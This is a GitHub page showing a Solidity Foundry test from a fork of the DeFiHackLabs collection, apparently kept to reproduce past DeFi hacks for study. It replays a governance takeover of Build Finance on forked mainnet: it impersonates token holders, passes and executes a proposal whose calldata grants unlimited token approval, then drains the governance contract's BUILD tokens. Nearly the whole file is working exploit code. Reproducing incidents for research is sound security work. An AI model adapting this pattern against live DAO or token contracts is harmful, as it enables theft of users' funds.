forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BuildF_exp.sol
68 lines (62 loc) · 2.45 KB
/
BuildF_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IBuildFinance BuildGovernance =
IBuildFinance(0x5A6eBeB61A80B2a2a5e0B4D893D731358d888583);
IERC20 build = IERC20(0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739);
function setUp() public {
cheat.createSelectFork("mainnet", 14235712); // fork mainnet at block 14235712
}
function test() public {
cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);
build.transfer(address(this), 101529401443281484977);
emit log_named_uint(
"Befre proposing, BUILD balance of attacker:",
build.balanceOf(address(this))
);
build.approve(address(BuildGovernance), type(uint256).max);
BuildGovernance.propose(
0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
0,
hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
);
emit log_named_uint(
"After proposing, BUILD balance of attacker:",
build.balanceOf(address(this))
);
emit log_named_uint(
"BUILD balance of BuildGovernance contract:",
build.balanceOf(address(BuildGovernance))
);
cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
build.approve(address(BuildGovernance), type(uint256).max);
cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
BuildGovernance.vote(8, true);
emit log_named_int("Proposal count:", BuildGovernance.proposalCount());
emit log_named_uint("Proposal state:", BuildGovernance.state(8));
cheat.warp(1655436437);
emit log_named_uint(
"After 2 days, Proposal state:",
BuildGovernance.state(8)
);
BuildGovernance.execute(
8,
0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
0,
hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
);
build.transferFrom(
address(BuildGovernance),
address(this),
build.balanceOf(address(BuildGovernance))
);
emit log_named_uint(
"After exploiting, BUILD balance of attacker:",
build.balanceOf(address(this))
);
}
}